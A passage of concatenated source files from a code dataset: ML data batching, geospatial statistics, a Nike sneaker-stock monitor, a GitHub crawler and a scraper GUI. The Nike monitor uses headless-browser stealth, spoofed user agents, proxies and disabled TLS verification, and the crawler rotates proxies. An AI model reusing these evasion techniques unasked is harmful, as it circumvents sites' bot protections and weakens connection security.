params.mode == \"train\":\n output[\"sim_img_feature\"] = sim_img_feature\n output[\"dissim_img_feature\"] = dissim_img_feature\n if \"SIMPAD\" in params.experiment and img_num < params.max_img_num:\n sim_padded_img_feature = tf.concat([img_feature,sim_img_feature[:(params.max_img_num - img_num),:]],axis = 0)\n output[\"img_feature\"] = sim_padded_img_feature\n yield output\n else:\n for _ in range(batch_size):\n yield output\n \n\n\n\n\ndef batch_generator(generator,raw_dataset,params,vocab,batch_size):\n output_types_dict = {\n \"enc_len\": tf.int32,\n \"enc_input\": tf.int32,\n \"enc_input_extend_vocab\": tf.int32,\n \"enc_mask\":tf.float32,\n \"article_oovs\": tf.string,\n \"dec_input\": tf.int32,\n \"target\": tf.int32,\n \"dec_len\": tf.int32,\n \"dec_mask\": tf.float32,\n \"article\": tf.string,\n \"abstract\": tf.string,\n \"abstract_sents\": tf.string,\n \"img_feature\": tf.float32,\n \"img_num\":tf.int32,\n \"img_mask\":tf.float32,\n \"url_hash\" : tf.string\n }\n \n if params.mode == \"train\":\n output_types_dict[\"sim_img_feature\"] = tf.float32\n output_types_dict[\"dissim_img_feature\"] = tf.float32\n \n dataset = tf.data.Dataset.from_generator(\n lambda: generator(raw_dataset,params,vocab,batch_size),\n output_types = output_types_dict)\n \n img_feature_dim=params.img_embed_dim\n padded_shapes_dict = {\"enc_len\": [],\n \"enc_input\": [None],\n \"enc_input_extend_vocab\": [None],\n \"enc_mask\":[None],\n \"article_oovs\": [None],\n \"dec_input\": [params.max_dec_steps],\n \"target\": [params.max_dec_steps],\n \"dec_len\": [],\n \"dec_mask\":[params.max_dec_steps],\n \"article\": [],\n \"abstract\": [],\n \"abstract_sents\": [None],\n \"img_feature\":[None,img_feature_dim],\n \"img_num\":[],\n \"img_mask\":[None],\n \"url_hash\" : []\n }\n padding_values_dict = {\"enc_len\": -1,\n \"enc_input\": vocab.word2id(data.PAD_TOKEN),\n \"enc_input_extend_vocab\": vocab.word2id(data.PAD_TOKEN),\n \"enc_mask\":0.0,\n \"article_oovs\": b'',\n \"dec_input\": vocab.word2id(data.PAD_TOKEN),\n \"target\": vocab.word2id(data.PAD_TOKEN),\n \"dec_len\": -1,\n \"dec_mask\":0.0,\n \"article\": b\"\",\n \"abstract\": b\"\",\n \"abstract_sents\": b'',\n \"img_feature\":0.0,\n \"img_num\":-1,\n \"img_mask\":0.0,\n \"url_hash\" : b\"\"\n }\n \n if params.mode == \"train\":\n padded_shapes_dict[\"sim_img_feature\"] = [None,img_feature_dim]\n padded_shapes_dict[\"dissim_img_feature\"] = [None,img_feature_dim]\n padding_values_dict[\"sim_img_feature\"] = 0.0\n padding_values_dict[\"dissim_img_feature\"] = 0.0\n \n dataset = dataset.padded_batch(batch_size, padded_shapes=(padded_shapes_dict),\n padding_values=padding_values_dict,\n drop_remainder=True)\n def update(record):\n encoder_input_dict = {\"enc_input\": record[\"enc_input\"],\n \"extended_enc_input\": record[\"enc_input_extend_vocab\"],\n \"article_oovs\": record[\"article_oovs\"],\n \"enc_len\": record[\"enc_len\"],\n \"enc_mask\":record[\"enc_mask\"],\n \"article\": record[\"article\"],\n \"max_oov_len\": tf.shape(record[\"article_oovs\"])[1],\n \"img_feature\":record[\"img_feature\"],\n \"img_num\":record[\"img_num\"],\n \"img_mask\":record[\"img_mask\"],\n \"url_hash\" : record[\"url_hash\"]\n }\n decoder_input_dict ={\"dec_input\": record[\"dec_input\"],\n \"dec_target\": record[\"target\"],\n \"dec_len\": record[\"dec_len\"],\n \"dec_mask\":record[\"dec_mask\"],\n \"abstract_sents\" : record[\"abstract_sents\"],\n \"abstract\": record[\"abstract\"]}\n if params.mode == \"train\":\n encoder_input_dict[\"sim_img_feature\"] = record[\"sim_img_feature\"]\n encoder_input_dict[\"dissim_img_feature\"] = record[\"dissim_img_feature\"]\n if \"SIMPAD\" in params.experiment or \"TS\" in params.experiment:\n #In SIMPAD all the images needs to be considered and no masking is done during attention computation\n #Since original images are not considered in \"DSC_MSMO-TS\" so we consider all similar/dissimilar images\n batch_max_img_num = params.max_img_num\n else:\n batch_max_img_num = tf.reduce_max(record[\"img_num\"])\n sim_ones = tf.ones([params.batch_size,batch_max_img_num], dtype = tf.int32)\n dissim_zeros = tf.zeros([params.batch_size,batch_max_img_num],dtype=tf.int32)\n decoder_input_dict[\"dsc_target\"] = tf.concat([sim_ones, dissim_zeros], axis = -1)\n \n return (encoder_input_dict, decoder_input_dict)\n \n AUTOTUNE = tf.data.experimental.AUTOTUNE\n dataset = dataset.map(update, num_parallel_calls=AUTOTUNE)\n return dataset\n\n\n\nclass batcher:\n def __init__(self,data_path, img_feature_path,sim_img_feature_path, dissim_img_feature_path, vocab):\n self.data_path=data_path\n self.img_feature_path=img_feature_path\n self.sim_img_feature_path = sim_img_feature_path\n self.dissim_img_feature_path = dissim_img_feature_path\n self.vocab=vocab\n \n def get_batched_dataset(self,params,batch_size, logger):\n '''Returns Batched dataset as per batch size and other parameters'''\n if params.mode == \"train\":\n raw_dataset = tf.data.Dataset.from_generator(lambda: raw_record_generator(self.data_path, self.img_feature_path, logger, self.sim_img_feature_path, self.dissim_img_feature_path),\n output_types=(tf.string, tf.string,tf.string,tf.float32, tf.float32, tf.float32))\n else:\n raw_dataset = tf.data.Dataset.from_generator(lambda: raw_record_generator(self.data_path, self.img_feature_path),\n output_types=(tf.string, tf.string,tf.string,tf.float32))\n AUTOTUNE = tf.data.experimental.AUTOTUNE\n # raw_dataset= raw_dataset.cache().prefetch(buffer_size=AUTOTUNE)\n if not params.single_pass:\n # We repeat and shuffle the dataset only during train mode\n raw_dataset=raw_dataset.shuffle(1000, reshuffle_each_iteration=True).repeat()\n dataset=batch_generator(example_generator,raw_dataset,params,self.vocab,batch_size)\n dataset=dataset.prefetch(buffer_size=AUTOTUNE)\n return dataset\n","repo_name":"mailsourajit25/Topic-Aware-Multimodal-Summarization","sub_path":"batcher.py","file_name":"batcher.py","file_ext":"py","file_size_in_byte":15444,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"32914716569","text":"# 코딩은 체육과목 입니다\n\nnum = int(input())\n\nif (num % 4 == 0) :\n N = int(num / 4)\n for i in range(N) :\n print(\"long\", end = \" \")\n print(\"int\")\nelse :\n print(\"N은 4의 배수여야 한다.\")","repo_name":"arinming/CodingTest","sub_path":"Python/백준/Step3/25314.py","file_name":"25314.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8176309113","text":"import numpy as np\nfrom stl import mesh\n\ndef create_cube(origin, dimensions):\n vertices = np.array([\n [0, 0, 0],\n [1, 0, 0],\n [1, 1, 0],\n [0, 1, 0],\n [0, 0, 1],\n [1, 0, 1],\n [1, 1, 1],\n [0, 1, 1]], dtype=np.float64)\n\n vertices *= dimensions\n vertices += origin\n\n faces = np.array([\n [0,3,1],\n [1,3,2],\n [0,4,7],\n [0,7,3],\n [4,5,6],\n [4,6,7],\n [5,1,2],\n [5,2,6],\n [2,3,6],\n [3,7,6],\n [0,1,5],\n [0,5,4]])\n\n cube = mesh.Mesh(np.zeros(faces.shape[0], dtype=mesh.Mesh.dtype))\n for i, f in enumerate(faces):\n for j in range(3):\n cube.vectors[i][j] = vertices[f[j],:]\n\n return cube\n","repo_name":"Zeddi92/nuclide_chart_print","sub_path":"geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10747717857","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf import settings\nfrom django.core.exceptions import ImproperlyConfigured\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\nfrom rasterstats import zonal_stats\nfrom netCDF4 import Dataset, num2date,date2num\nfrom joblib import Parallel, delayed\nfrom datetime import datetime\nimport os\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ntry:\n ddirDB = getattr(settings, \"DIRDB\", None)\nexcept ImproperlyConfigured:\n ddirDB = os.path.expanduser('~') + \"/Bureau/teledm/donnees\"\n\n\n\ndef calc_stats(rx,ry,gdf,ndist,trsfm,tps):\n # fonction calculant les stats à partir de la géodatabase(gdf). rx,ry = reso spatiale, ndist=nb de districts, trsfm=géométrie de la matrice de la variable, tps=matrice des dates\n # matrices vides aux dimensions du \"bloc temporel\" (len(tps) correspond à l'axe 0 de la mat tps) et du nombre de districts/aires/pays (ndist)\n nb_px = np.zeros((len(tps),ndist))\n nb_px[:] = np.nan\n v_max = np.zeros((len(tps),ndist))\n v_max[:] = np.nan\n v_mean = np.zeros((len(tps),ndist))\n v_mean[:] = np.nan\n v_med = np.zeros((len(tps),ndist))\n v_med[:] = np.nan\n v_min = np.zeros((len(tps),ndist))\n v_min[:] = np.nan\n v_std = np.zeros((len(tps),ndist))\n v_std[:] = np.nan\n for i in range(len(tps)):\n # \"micro-pixelisation\" pour obtenir une pseudo-résolution plus fine, adéquate au découpage district/aire\n var1 = np.repeat(tps[i,...],100*ry, axis=0)\n var2 = np.repeat(var1,100*rx, axis=1)\n val_input=np.ma.masked_array(var2, np.isnan(var2))\n stats = zonal_stats(gdf['geometry'],val_input, transform=trsfm, stats=['min', 'max', 'mean', 'count', 'std', 'median'])#fonction stat du module rasterstats\n df = gdf.join(pd.DataFrame(stats))# chargement des stats dans la geodataframe\n # argement des stats dans les différentes matrices\n nb_px[i,:] = np.array(df['count'].ix[:])\n v_max[i,:] = np.array(df['max'].ix[:])\n v_mean[i,:] = np.array(df['mean'].ix[:])\n v_med[i,:] = np.array(df['median'].ix[:])\n v_min[i,:] = np.array(df['min'].ix[:])\n v_std[i,:] = np.array(df['std'].ix[:])\n return nb_px,v_max,v_mean,v_med,v_min,v_std\n\n\n\n\ndef calc_moy(ncfile,fshape,deb,fin,sat,varname,level):\n # traitement des dates\n datedeb = datetime.strptime(deb,\"%Y-%m-%d\")\n datefin = datetime.strptime(fin,\"%Y-%m-%d\")\n \n \n geodf = gpd.GeoDataFrame.from_file(fshape)\n \n nbdist = len(geodf[geodf.columns[1]]) # nombre de districts/aires \n\n nbpx_tmp = []\n vmin_tmp = []\n vmax_tmp = []\n vmean_tmp = []\n vstd_tmp = []\n vmed_tmp = []\n nc = Dataset(ncfile, 'r')\n var_in = nc.variables[varname]\n dates = nc.variables['time']\n # definition des dates de début et fin en format numérique, à partir de l'unité de temps du .nc\n ndatedeb = date2num(datedeb,dates.units)\n ndatefin = date2num(datefin,dates.units)\n if datetime.strftime(num2date(dates[0],dates.units),\"%H\") != \"0\": # condition qui vérifie l'heure de la donnée(0h, 3h,6h,...)\n ndatedeb += 24-int(datetime.strftime(num2date(dates[0],dates.units),\"%H\"))\n ndatefin += 24-int(datetime.strftime(num2date(dates[0],dates.units),\"%H\"))\n # détermination des indices des dates debut et fin dans la matrice\n iddeb = np.abs(dates[:]-ndatedeb).argmin()\n idfin = np.abs(dates[:]-ndatefin).argmin()-1\n # extraction du bloc de dates et ajout à la variable time(tp) du newnc\n serie_dates = dates[iddeb:idfin+1]\n\n if level == -1:\n var = np.array(var_in[iddeb:idfin+1,...])\n else:\n var = np.array(var_in[iddeb:idfin+1,level,...])\n # traitement de la matrice avec fillvalue, scalefactor et addoffset\n if sat == 'toms':\n var[var==var_in._FillValue]=-999\n else:\n \tvar[var==var_in._FillValue]=np.nan\n if \"scale_factor\" in var_in.ncattrs():\n var = (var[:]-var_in.add_offset)*var_in.scale_factor\n # définition des caractéristiques géographiques transform,resolution spatiale, lat max et lon min\n lat = nc.variables['latitude'][:]\n lon = nc.variables['longitude'][:]\n xo = min(lon)\n yo = max(lat)\n resx = np.abs(np.mean(np.diff(lon)))\n resy = np.abs(np.mean(np.diff(lat)))\n transform = [xo, 0.01, 0.0, yo, 0.0, -0.01]\n\n #############################################################################################################\n #############################################################################################################\n idt = len(serie_dates)//8\n if idt == 0:\n idt = 1\n ndt = range(0,len(serie_dates),idt)\n nb_mat_in = [var[ix:ix+(idt),...] for ix in ndt]# decoupage de la matrice en blocs de 26 jours\n res = Parallel(n_jobs=-1)(delayed(calc_stats)(resx,resy,geodf,nbdist,transform,temps_x) for temps_x in nb_mat_in)# appel de la fonction calc_stats avec parallélisation\n # chargement des calculs dans les variables temporaires\n nbpx_tmp.append(np.concatenate([res[n][0] for n in range(0,len(ndt))], axis=0))\n vmax_tmp.append(np.concatenate([res[n][1] for n in range(0,len(ndt))], axis=0))\n vmean_tmp.append(np.concatenate([res[n][2] for n in range(0,len(ndt))], axis=0))\n vmed_tmp.append(np.concatenate([res[n][3] for n in range(0,len(ndt))], axis=0))\n vmin_tmp.append(np.concatenate([res[n][4] for n in range(0,len(ndt))], axis=0))\n vstd_tmp.append(np.concatenate([res[n][5] for n in range(0,len(ndt))], axis=0))\n\n \n index = [num2date(d,dates.units).date() for d in serie_dates]\n columns_name = geodf.name.values.tolist()\n tmpvar_dict = {\"nbpx\":nbpx_tmp,\"vmax\":vmax_tmp,\"vmean\":vmean_tmp,\"vmin\":vmin_tmp,\"vstd\":vstd_tmp}\n list_df = {}\n for n in tmpvar_dict:\n list_df[n] = pd.DataFrame (np.concatenate([tmpvar_dict[n][d_t] for d_t in range(0,len(tmpvar_dict[n]))], axis=0), index=index, columns=columns_name).round(4)\n #df.to_csv(ddirout+'/'+output[:-3]+'_'+n+'.csv', header=True)\n nc.close()\n return list_df\n\nif __name__ == \"__main__\":\n \n ddirout = os.path.join(os.path.expanduser('~'), \"dev/crc/teledm/tmp\")\n deb = \"2007-01-01\" #\"1979\" a ...\n fin = \"2007-01-15\"\n pays = \"burkina\" #\"burkina\",\"mali\",\"niger\",\"senegal\"\n niveau = \"district\" #\"pays\",\"district\",\"aire\"\n types = \"satellite\" #\"satellite\",\"re_analyse\"\n sat = \"modis\" #\"modis\",\"aura_omi\",\"ecmwf\",\"msg\"\n prod = \"MYD07\" #\"MYD04\",\"MYD05\",\"MYD07\",\"omaeruv\",\"seviri_aerus\",\"macc\",\"era_interim\"\n res_temp = \"w\" #\"d\",\"w\",\"m\",\"t\"\n res = \"res009\" #\"003\",\"005\",\"009\",\"025\",\"075\",\"125\"\n varname = 'Total_Ozone'\n shape = \"merge2500\" # \"all_fs\" \"merge1500\" \"merge2500\"\n \n ldf = calc_moy(ddirout,deb,fin,pays,niveau,types,sat,prod,res_temp,res,varname,shape)\n","repo_name":"jsdelivrbot/web1","sub_path":"teledm/moy_dist_parallel1.py","file_name":"moy_dist_parallel1.py","file_ext":"py","file_size_in_byte":6916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17578994292","text":"# For regions that do not use the standard API\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\nimport traceback\n\nimport asyncio\nfrom pyppeteer import launch\nfrom pyppeteer_stealth import stealth\n\n___standard_api___ = [\n 'GB', 'US', 'AU', 'AT', 'BE', 'BG', 'CA', 'CN', 'HR', 'CZ', 'DK', 'EG', \n 'FI', 'FR', 'DE', 'HU', 'IN', 'ID', 'IE', 'IT', 'MY', 'MX', 'MA', 'NL', \n 'NZ', 'NO', 'PH', 'PL', 'PT', 'PR', 'RO', 'RU', 'SA', 'SG', 'SI', 'ZA', \n 'ES', 'SE', 'CH', 'TR', 'AE', 'VN', 'JP' \n]\n\n\nasync def get_content(url, user_agent, proxy):\n browser = await launch()\n page = await browser.newPage()\n await stealth(page)\n await page.emulate({\n 'userAgent': user_agent,\n 'viewport': {\n 'width': 414,\n 'height': 736,\n 'deviceScaleFactor': 3,\n 'isMobile': True,\n 'hasTouch': True,\n 'isLandscape': False\n }\n })\n await page.goto(url)\n content = await page.content()\n await page.close()\n return content\n\n\ndef standard_api(ITEMS, LOCATION, LANGUAGE, user_agent, proxy, KEYWORDS, start):\n headers = {\n 'accept': '*/*',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'en-GB,en;q=0.9',\n 'appid': 'com.nike.commerce.snkrs.web',\n 'content-type': 'application/json; charset=UTF-8',\n 'dnt': '1',\n 'nike-api-caller-id': 'nike:snkrs:web:1.0',\n 'origin': 'https://www.nike.com',\n 'referer': 'https://www.nike.com/',\n 'sec-fetch-dest': 'empty',\n 'sec-fetch-mode': 'cors',\n 'sec-fetch-site': 'same-site',\n 'user-agent': user_agent,\n 'Cache-Control': 'no-cache, no-store, must-revalidate',\n 'Pragma': 'no-cache',\n 'Expires': '0'\n }\n to_discord = []\n\n anchor = 0\n while anchor < 160:\n url = f'https://api.nike.com/product_feed/threads/v3/?anchor={anchor}&count=50&filter=marketplace%28{LOCATION}%29&filter=language%28{LANGUAGE}%29&filter=channelId%28010794e5-35fe-4e32-aaff-cd2c74f89d61%29&filter=exclusiveAccess%28true%2Cfalse%29'\n html = requests.get(url=url, timeout=20, verify=False, headers=headers, proxies=proxy)\n output = json.loads(html.text)\n\n # Stores details in array\n for item in output['objects']:\n try:\n for product in item['productInfo']:\n if (product['availability']['available'] == True) and (product['merchProduct']['status'] == 'ACTIVE'):\n if KEYWORDS == []:\n first = 0\n sizes = ''\n for k in product['availableGtins']:\n stored = [product['productContent']['fullTitle'], product['productContent']['colorDescription'], k['gtin']]\n if k['available'] == True:\n if stored in ITEMS:\n pass\n else:\n ITEMS.append(stored)\n \n for s in product['skus']:\n if first == 0:\n if s['gtin'] == k['gtin']:\n sizes = str(s['nikeSize']) + ': ' + str(k['level'])\n first = 1\n break\n else:\n if s['gtin'] == k['gtin']:\n sizes += '\\n' + str(s['nikeSize']) + ': ' + str(k['level'])\n break\n else:\n if stored in ITEMS:\n ITEMS.remove(stored)\n \n if sizes != '' and start == 0:\n print('Sending notification to Discord...')\n to_discord.append(dict(\n title=product['productContent']['fullTitle'],\n description=product['productContent']['colorDescription'],\n url='https://www.nike.com/' + LOCATION + '/launch/t/' + product['productContent']['slug'],\n thumbnail=item['publishedContent']['nodes'][0]['nodes'][0]['properties']['squarishURL'],\n price=str(product['merchPrice']['currentPrice']),\n style_code=str(product['merchProduct']['styleColor']),\n sizes=sizes))\n\n else:\n for key in KEYWORDS:\n if key.lower() in product['merchProduct']['labelName'].lower() or key.lower() in product['productContent']['colorDescription'].lower():\n first = 0\n sizes = ''\n for k in product['availableGtins']:\n stored = [product['productContent']['fullTitle'], product['productContent']['colorDescription'], k['gtin']]\n if k['available'] == True:\n if stored in ITEMS:\n pass\n else:\n ITEMS.append(stored)\n \n for s in product['skus']:\n if first == 0:\n if s['gtin'] == k['gtin']:\n sizes = str(s['nikeSize']) + ': ' + str(k['level'])\n first = 1\n break\n else:\n if s['gtin'] == k['gtin']:\n sizes += '\\n' + str(s['nikeSize']) + ': ' + str(k['level'])\n break\n else:\n if stored in ITEMS:\n ITEMS.remove(stored)\n \n if sizes != '' and start == 0:\n print('Sending notification to Discord...')\n to_discord.append(dict(\n title=product['productContent']['fullTitle'],\n description=product['productContent']['colorDescription'],\n url='https://www.nike.com/' + LOCATION + '/launch/t/' + product['productContent']['slug'],\n thumbnail=item['publishedContent']['nodes'][0]['nodes'][0]['properties']['squarishURL'],\n price=str(product['merchPrice']['currentPrice']),\n style_code=str(product['merchProduct']['styleColor']),\n sizes=sizes))\n except KeyError:\n pass\n\n except:\n print(traceback.format_exc())\n\n anchor += 50\n \n return to_discord\n\n \ndef brazil(ITEMS, LOCATION, LANGUAGE, user_agent, proxy, KEYWORDS, start):\n # need to bs4 \n url = 'https://www.nike.com.br/Snkrs/Feed?p=2&demanda=true'\n headers = {\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',\n 'sec-fetch-dest': 'document',\n 'sec-fetch-mode': 'navigate',\n 'sec-fetch-site': 'none',\n 'sec-fetch-user': '?1',\n 'upgrade-insecure-requests': '1',\n 'user-agent': user_agent,\n 'Cache-Control': 'no-cache, no-store, must-revalidate',\n 'Pragma': 'no-cache',\n 'Expires': '0'\n }\n to_discord = []\n html = requests.get(url=url, headers=headers, proxies=proxy)\n soup = BeautifulSoup(html.text, 'html.parser')\n output = soup.find_all('div', {'class': 'produto produto--esgotado'})\n for product in output:\n if KEYWORDS == []:\n item = dict(\n title=product.find('h2', {'class': 'produto__detalhe-titulo'}).text,\n description=None,\n url=product.find('div', {'class': 'produto__imagem'})['href'],\n thumbnail=product.find('div', {'class': 'produto__imagem'})['src'],\n price=None,\n style_code=None,\n sizes=None\n )\n\n if item in ITEMS:\n pass\n elif start == 0:\n to_discord.append(item)\n start = 1\n \n else:\n for key in KEYWORDS:\n if key.lower() in product.find('h2', {'class': 'produto__detalhe-titulo'}).text.lower():\n item = dict(\n title=product.find('h2', {'class': 'produto__detalhe-titulo'}).text,\n description=None,\n url=product.find('div', {'class': 'produto__imagem'})['href'],\n thumbnail=product.find('div', {'class': 'produto__imagem'})['src'],\n price=None,\n style_code=None,\n sizes=None\n )\n\n if item in ITEMS:\n pass\n elif start == 0:\n to_discord.append(item)\n start = 1\n\n return to_discord\n\n\n\ndef chile(ITEMS, LOCATION, LANGUAGE, user_agent, proxy, KEYWORDS, start):\n url = 'https://www.nike.cl/api/catalog_system/pub/products/search?&_from=0&_to=49'\n to_discord = []\n html = asyncio.get_event_loop().run_until_complete(get_content(url, user_agent, proxy))\n html = html.replace('','').replace('
','')\n    html = '{\"data\": ' + html + '}'\n\n    output = json.loads(html)\n\n    # For each product\n    for product in output['data']:\n        # For each size\n        sizes = ''\n        s = 0\n        for size in product['items']:\n            item = [product['productName'], product['productReferenceCode'], size['name']]\n            if int(size['sellers'][0]['commertialOffer']['AvailableQuantity']) > 0:\n                if item not in ITEMS:\n                    ITEMS.append(item)\n                    if s == 0:\n                        sizes = str(size['name']) + ': [' + str(size['sellers'][0]['commertialOffer']['AvailableQuantity']) + ' Available' +  f']({size[\"sellers\"][0][\"addToCartLink\"]})'\n                        s = 1\n                    else:\n                        sizes += '\\n' + str(size['name']) + ': [' + str(size['sellers'][0]['commertialOffer']['AvailableQuantity']) + ' Available' + f']({size[\"sellers\"][0][\"addToCartLink\"]})'\n            \n            else:\n                if item in ITEMS:\n                    ITEMS.remove(item)\n        \n        if sizes != '' and start == 0:\n            if KEYWORDS == []:\n                to_discord.append(dict(\n                    title=product['productName'],\n                    description=str(product['items'][0]['color'][0]),\n                    url=product['link'],\n                    thumbnail=str(int(product['items'][0]['images'][0]['imageUrl'])/1000),\n                    price=str(product['items'][0]['sellers'][0]['commertialOffer']['Price']),\n                    style_code=str(product['productReferenceCode']),\n                    sizes=sizes))\n\n            else:\n                for key in KEYWORDS:\n                    if key.lower() in product['productName'].lower():\n                        to_discord.append(dict(\n                            title=product['productName'],\n                            description=str(product['items'][0]['color'][0]),\n                            url=product['link'],\n                            thumbnail=str(int(product['items'][0]['images'][0]['imageUrl'])/1000),\n                            price=str(product['items'][0]['sellers'][0]['commertialOffer']['Price']),\n                            style_code=str(product['productReferenceCode']),\n                            sizes=sizes))\n    return to_discord\n\n","repo_name":"yasserqureshi1/Sneaker-Monitors","sub_path":"monitors/snkrs/locations.py","file_name":"locations.py","file_ext":"py","file_size_in_byte":13085,"program_lang":"python","lang":"en","doc_type":"code","stars":446,"dataset":"github-code","pt":"21"}
+{"seq_id":"73778931572","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nclass GithubCrawler(object):\n\n\t\"\"\"This class it's not the official one, just does the job for the first task,\n\tbut then I decided to merge it with the optional one,\n\tso the final version is in the GithubCrawlerExtended class\"\"\"\n\n\n\tTYPE_REPOSITORIES = 'Repositories'\n\tTYPE_ISSUES = 'Issues'\n\tTYPE_WIKI = 'Wikis'\n\n\tTYPE_REPOSITORIES_HTML = 'repo'\n\tTYPE_ISSUES_HTML = 'issue'\n\tTYPE_WIKI_HTML = 'wiki'\n\n\tGITHUB_BASE_URL = 'https://github.com'\n\n\tdef __init__(self, keywords, proxies, git_type):\n\t\tself.proxies = proxies\n\t\tself.keywords = keywords\n\t\tself.git_type = git_type\n\t\tself.last_p = 0\n\t\tself.result = []\n\t\tself.crawl()\n\n\tdef using_requests(self, request_url):\n\t\twhile True:\n\t\t\tif self.last_p != len(self.proxies):\n\t\t\t\tproxy_r = {\n\t\t\t\t'http': 'http://{}'.format(self.proxies[self.last_p]),\n\t\t\t\t'https': 'http://{}'.format(self.proxies[self.last_p]),\n\t\t\t\t}\n\t\t\t\ttry:\n\t\t\t\t\turl_keywords = '+'.join(self.keywords)\n\t\t\t\t\tr = requests.get(request_url, proxies=proxy_r) #I would put a timeout just in case, to not hang forever\n\t\t\t\t\treturn r.text\n\t\t\t\texcept requests.exceptions.ProxyError:\n\t\t\t\t\tprint ('Error Proxy #{}, trying new one'.format(self.last_p))\n\t\t\t\t\tself.last_p += 1\n\t\t\t\texcept requests.exceptions.RequestException as e:\n\t\t\t\t\tprint (e) #log exception in production, maybe github not available\n\t\t\t\t\treturn False\n\n\t\t\telse:\n\t\t\t\tprint ('No available proxies')#log error proxy in production\n\t\t\t\treturn False\n\n\tdef crawl(self):\n\t\tif self.git_type == self.TYPE_REPOSITORIES:\n\t\t\tgit_url_type = self.TYPE_REPOSITORIES_HTML\n\t\telif self.git_type == self.TYPE_ISSUES:\n\t\t\tgit_url_type = self.TYPE_ISSUES_HTML\n\t\telif self.git_type == self.TYPE_WIKI:\n\t\t\tgit_url_type = self.TYPE_WIKI_HTML\n\t\telse:\n\t\t\tprint ('Type not supported')\n\t\t\treturn\n\n\t\turl_keywords = '+'.join(self.keywords)\n\t\tsearch_url = '{}/search?q={}&type={}&utf8=%E2%9C%93'.format(self.GITHUB_BASE_URL, url_keywords, self.git_type)\n\n\t\tr = self.using_requests(search_url)\n\t\tif not r:\n\t\t\treturn\n\n\t\tsoup = BeautifulSoup(r, \"html.parser\")\n\n\t\titems = soup.findAll('div',{'class': '{}-list-item'.format(git_url_type)})\n\n\t\tfor item in items:\n\t\t\tif self.git_type == self.TYPE_REPOSITORIES:\n\t\t\t\tlink = self.GITHUB_BASE_URL + item.div.h3.a['href']\n\t\t\telif self.git_type == self.TYPE_ISSUES:\n\t\t\t\tlink = self.GITHUB_BASE_URL + item.div.h3.a['href']\n\t\t\telif self.git_type == self.TYPE_WIKI:\n\t\t\t\tlink = self.GITHUB_BASE_URL + item.div.a['href']\n\n\t\t\tself.result.append({'url':link})\n\n\t\tprint (self.result)\n\n\n","repo_name":"aleixrodriala/Python-developer-technical-task","sub_path":"GithubCrawler.py","file_name":"GithubCrawler.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"44703396860","text":"from tkinter import *\nimport tkinter.messagebox as box\nimport GumtreeScraper\n\n\nclass App:\n\n    def __init__(self, master):\n        frame = Frame(master)\n\n        self.separate_x = 5\n        self.separate_y = 2\n\n        self.search_label = Label(frame, text=\"Search\")\n        self.search_entry = Entry(frame, text=\"Search\")\n\n        self.location_label = Label(frame, text=\"Postcode (optional)\")\n        self.location_entry = Entry(frame, text=\"Postcode (optional)\")\n\n        self.num_pages_label = Label(frame, text=\"Number of pages (default 1)\")\n        self.num_pages_entry = Entry(frame, text=\"Number of pages (default 1)\")\n\n        self.filename_label = Label(frame, text=\"Name of the file (without extension)\")\n        self.filename_entry = Entry(frame, text=\"Name of the file (without extension)\")\n\n        self.search_button = Button(frame, text=\"Search\", width = 20, command=self.runProgram)\n\n        self.status_bar_content = StringVar()\n        self.status_bar = Label(frame, text=\"\", anchor=W, relief=SUNKEN, textvariable=self.status_bar_content)\n\n        # Organizing layout\n\n        self.search_label.grid(row=1, column=1, sticky=W, pady = self.separate_y, padx=self.separate_x)\n        self.search_entry.grid(row=1, column=2, pady = self.separate_y, padx=self.separate_x)\n\n        self.location_label.grid(row=1, column=3, sticky=W, pady = self.separate_y, padx=self.separate_x)\n        self.location_entry.grid(row=1, column=4, pady = self.separate_y, padx=self.separate_x)\n\n        self.num_pages_label.grid(row=2, column=1, sticky=W, pady = self.separate_y, padx=self.separate_x)\n        self.num_pages_entry.grid(row=2, column=2, pady = self.separate_y, padx=self.separate_x)\n\n        self.filename_label.grid(row=2, column=3, sticky=W, pady = self.separate_y, padx=self.separate_x)\n        self.filename_entry.grid(row=2, column=4, pady = self.separate_y, padx=self.separate_x)\n\n        self.search_button.grid(row=3, column=2, columnspan=2, pady=10)\n\n        self.status_bar.grid(sticky=NSEW, column=1, columnspan=4)\n\n        frame.pack()\n\n    def validateEntries(self):\n\n        items_entry = {self.location_entry:True, self.num_pages_entry:True, self.filename_entry: False,\n                       self.search_entry: False}\n        true_count = 0\n        for item, optional in items_entry.items():\n            if self.is_empty(item, optional):\n                true_count += 1\n\n        if self.check_number_entry(self.num_pages_entry):\n            true_count += 1\n\n        if self.num_pages_entry.get() == '':\n            self.num_pages_entry.insert(0, '1')\n\n        # True count must be 5 to have all of them correct\n        return true_count\n\n    def is_empty(self, item, optional):\n\n        try:\n            if bool(item.get()) is False and optional is True:\n                return True\n            elif bool(item.get()) is True and optional is True:\n                return True\n            elif bool(item.get()) is False and optional is False:\n                raise ValueError\n            elif bool(item.get()) is True and optional is False:\n                return True\n        except ValueError:\n            box.showerror(\"Incorrect Information\", \"Please make sure that you have entered the correct information and\"\n                                                   \" in the correct format in this field:\\n{}\".format(item.cget('text')))\n            return False\n\n    def check_number_entry(self, item):\n        try:\n            if item.get().isdigit():\n                return True\n            else:\n                raise ValueError\n\n        except ValueError:\n            box.showerror(\"Incorrect Information\", \"Please make sure that you have entered the correct information and\"\n                                     